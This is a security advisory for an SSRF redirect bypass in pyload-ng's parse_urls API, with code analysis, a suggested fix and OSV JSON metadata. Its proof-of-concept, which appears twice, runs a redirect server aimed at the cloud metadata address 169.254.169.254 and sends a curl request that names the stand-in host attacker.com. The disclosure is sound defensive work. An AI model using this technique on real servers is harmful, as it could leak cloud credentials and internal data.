GHSA-8RP3-XC6W-5QP5
Vulnerability from github – Published: 2026-05-21 19:54 – Updated: 2026-05-21 19:54Summary
The SSRF mitigation added in commit 33c55da for GHSA-7gvf-3w72-p2pg is incomplete. The PREREQFUNCTION-based private IP check was correctly applied to HTTPChunk (download path) but not to HTTPRequest (used by the parse_urls API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the is_global_host() check on the initial URL.
Details
The parse_urls API method validates the initial URL hostname:
# src/pyload/core/api/__init__.py:600-604
if url:
urlp = urlparse(url)
hostname = urlp.hostname
if urlp.scheme in ("http", "https") and hostname and is_global_host(hostname):
page = get_url(url)
get_url() is imported from request_factory.py and creates an HTTPRequest with default settings:
# src/pyload/core/network/request_factory.py:58-64
def get_url(self, *args, **kwargs):
with HTTPRequest(None, self.get_options()) as h:
rep = h.load(*args, **kwargs)
return rep
HTTPRequest.__init__ sets allow_private_ip = True by default:
# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = True
The init_handle() method enables redirect following:
# src/pyload/core/network/http/http_request.py:117-118
self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)
The _pre_request_callback that should block redirects to private IPs is a no-op when allow_private_ip is True:
# src/pyload/core/network/http/http_request.py:574-582
def _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):
if not self.allow_private_ip and not is_global_address(conn_primary_ip):
return pycurl.PREREQFUNC_ABORT
return pycurl.PREREQFUNC_OK
The fix at commit 33c55da correctly set allow_private_ip = False in HTTPChunk (http_chunk.py:136) for the download path, but HTTPRequest used by RequestFactory.get_url() retains the default of True, leaving the parse_urls API unprotected against redirect-based SSRF.
PoC
# Step 1: Start a redirect server on attacker-controlled host
python3 -c "
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://169.254.169.254/latest/meta-data/')
self.end_headers()
HTTPServer(('0.0.0.0', 8888), H).serve_forever()
"
# Step 2: Authenticated user with ADD permission calls parse_urls
curl -X POST 'http://pyload-host:8000/api/parse_urls' \
-H 'Cookie: session=<valid_session>' \
-d 'url=http://attacker.com:8888/redirect'
# Expected flow:
# 1. is_global_host('attacker.com') -> True (passes validation)
# 2. get_url() creates HTTPRequest with allow_private_ip=True
# 3. pycurl fetches attacker.com:8888, receives 302 -> http://169.254.169.254/latest/meta-data/
# 4. _pre_request_callback runs but skips check (allow_private_ip=True)
# 5. pycurl follows redirect to cloud metadata endpoint
# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker
Impact
An authenticated attacker with ADD permission can perform SSRF against:
- Cloud metadata endpoints (AWS IMDSv1 at
169.254.169.254, GCP, Azure) — potentially leaking IAM credentials, instance metadata, and secrets - Internal services on private networks (e.g.,
10.x.x.x,172.16.x.x,192.168.x.x) - Localhost services (
127.0.0.1) running on the pyload server
Data exfiltration is partially limited by the RE_URLMATCH regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The REDIR_PROTOCOLS setting limits redirects to HTTP/HTTPS only.
Recommended Fix
Set allow_private_ip = False in RequestFactory.get_url():
# src/pyload/core/network/request_factory.py
def get_url(self, *args, **kwargs):
with HTTPRequest(None, self.get_options()) as h:
h.allow_private_ip = False # Prevent SSRF via redirects
rep = h.load(*args, **kwargs)
return rep
Alternatively, change the default in HTTPRequest.__init__ to False:
# src/pyload/core/network/http/http_request.py:75
self.allow_private_ip = False
The second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.0b3.dev100"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46561"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-21T19:54:32Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe SSRF mitigation added in commit `33c55da` for GHSA-7gvf-3w72-p2pg is incomplete. The `PREREQFUNCTION`-based private IP check was correctly applied to `HTTPChunk` (download path) but not to `HTTPRequest` (used by the `parse_urls` API). An authenticated attacker can supply a URL pointing to an attacker-controlled server that responds with a 302 redirect to an internal/private IP address, bypassing the `is_global_host()` check on the initial URL.\n\n## Details\n\nThe `parse_urls` API method validates the initial URL hostname:\n\n```python\n# src/pyload/core/api/__init__.py:600-604\nif url:\n urlp = urlparse(url)\n hostname = urlp.hostname\n if urlp.scheme in (\"http\", \"https\") and hostname and is_global_host(hostname):\n page = get_url(url)\n```\n\n`get_url()` is imported from `request_factory.py` and creates an `HTTPRequest` with default settings:\n\n```python\n# src/pyload/core/network/request_factory.py:58-64\ndef get_url(self, *args, **kwargs):\n with HTTPRequest(None, self.get_options()) as h:\n rep = h.load(*args, **kwargs)\n return rep\n```\n\n`HTTPRequest.__init__` sets `allow_private_ip = True` by default:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = True\n```\n\nThe `init_handle()` method enables redirect following:\n\n```python\n# src/pyload/core/network/http/http_request.py:117-118\nself.c.setopt(pycurl.FOLLOWLOCATION, 1)\nself.c.setopt(pycurl.MAXREDIRS, 10)\n```\n\nThe `_pre_request_callback` that should block redirects to private IPs is a no-op when `allow_private_ip` is `True`:\n\n```python\n# src/pyload/core/network/http/http_request.py:574-582\ndef _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port):\n if not self.allow_private_ip and not is_global_address(conn_primary_ip):\n return pycurl.PREREQFUNC_ABORT\n return pycurl.PREREQFUNC_OK\n```\n\nThe fix at commit `33c55da` correctly set `allow_private_ip = False` in `HTTPChunk` (http_chunk.py:136) for the download path, but `HTTPRequest` used by `RequestFactory.get_url()` retains the default of `True`, leaving the `parse_urls` API unprotected against redirect-based SSRF.\n\n## PoC\n\n```bash\n# Step 1: Start a redirect server on attacker-controlled host\npython3 -c \"\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(302)\n self.send_header(\u0027Location\u0027, \u0027http://169.254.169.254/latest/meta-data/\u0027)\n self.end_headers()\nHTTPServer((\u00270.0.0.0\u0027, 8888), H).serve_forever()\n\"\n\n# Step 2: Authenticated user with ADD permission calls parse_urls\ncurl -X POST \u0027http://pyload-host:8000/api/parse_urls\u0027 \\\n -H \u0027Cookie: session=\u003cvalid_session\u003e\u0027 \\\n -d \u0027url=http://attacker.com:8888/redirect\u0027\n\n# Expected flow:\n# 1. is_global_host(\u0027attacker.com\u0027) -\u003e True (passes validation)\n# 2. get_url() creates HTTPRequest with allow_private_ip=True\n# 3. pycurl fetches attacker.com:8888, receives 302 -\u003e http://169.254.169.254/latest/meta-data/\n# 4. _pre_request_callback runs but skips check (allow_private_ip=True)\n# 5. pycurl follows redirect to cloud metadata endpoint\n# 6. Response body parsed by RE_URLMATCH, any URLs in metadata returned to attacker\n```\n\n## Impact\n\nAn authenticated attacker with ADD permission can perform SSRF against:\n\n- **Cloud metadata endpoints** (AWS IMDSv1 at `169.254.169.254`, GCP, Azure) \u2014 potentially leaking IAM credentials, instance metadata, and secrets\n- **Internal services** on private networks (e.g., `10.x.x.x`, `172.16.x.x`, `192.168.x.x`)\n- **Localhost services** (`127.0.0.1`) running on the pyload server\n\nData exfiltration is partially limited by the `RE_URLMATCH` regex filter (only URL-like strings from the response body are returned), but cloud metadata responses often contain URLs or URL-like paths that match this pattern. The `REDIR_PROTOCOLS` setting limits redirects to HTTP/HTTPS only.\n\n## Recommended Fix\n\nSet `allow_private_ip = False` in `RequestFactory.get_url()`:\n\n```python\n# src/pyload/core/network/request_factory.py\ndef get_url(self, *args, **kwargs):\n with HTTPRequest(None, self.get_options()) as h:\n h.allow_private_ip = False # Prevent SSRF via redirects\n rep = h.load(*args, **kwargs)\n return rep\n```\n\nAlternatively, change the default in `HTTPRequest.__init__` to `False`:\n\n```python\n# src/pyload/core/network/http/http_request.py:75\nself.allow_private_ip = False\n```\n\nThe second approach is more defensive (secure by default), but may require auditing other callers that legitimately need to access private IPs. The first approach is the targeted fix.",
"id": "GHSA-8rp3-xc6w-5qp5",
"modified": "2026-05-21T19:54:32Z",
"published": "2026-05-21T19:54:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-8rp3-xc6w-5qp5"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "pyload-ng: SSRF via HTTP Redirect Bypass in parse_urls API"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.